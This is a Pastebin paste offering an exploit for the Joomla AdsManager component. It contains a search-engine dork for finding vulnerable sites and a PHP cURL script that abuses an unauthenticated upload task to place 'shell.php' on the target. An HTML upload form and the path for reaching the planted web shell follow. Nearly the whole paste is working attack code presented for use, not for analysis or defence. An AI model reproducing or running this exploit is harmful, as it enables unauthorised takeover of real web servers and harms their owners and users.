Advertisement
Guest User

Joomla Com_AdsManager Exploit

a guest
Jul 12th, 2015
1,271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. Dork : inurl:/index.php?option=com_adsmanager/ site:/uk/com/org
  2.  
  3. CODE PHP :
  4.  
  5. <?php
  6.  
  7. $url = "site.com/index.php?option=com_adsmanager&task=upload&tmpl=component"; // put URL Here
  8. $post = array
  9. (
  10. "file" => "@shell.jpg",
  11. "name" => "shell.php"
  12. );
  13. $ch = curl_init ("$url");
  14. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  15. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  16. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  17. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  18. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  19. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  20. curl_setopt ($ch, CURLOPT_POST, 1);
  21. @curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  22. $data = curl_exec ($ch);
  23. curl_close ($ch);
  24. echo $data;
  25.  
  26. ?>
  27.  
  28.  
  29.  
  30.  
  31. #CSRF :
  32.  
  33. <form method="POST" action="TARGET/index.php?option=com_adsmanager&task=upload&tmpl=component"
  34. enctype="multipart/form-data">
  35. <input type="file" name="files[]" /><button>Upload</button>
  36. </form>
  37.  
  38.  
  39.  
  40. Acces Shell: site.com/tmp/plupload/shell.php
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement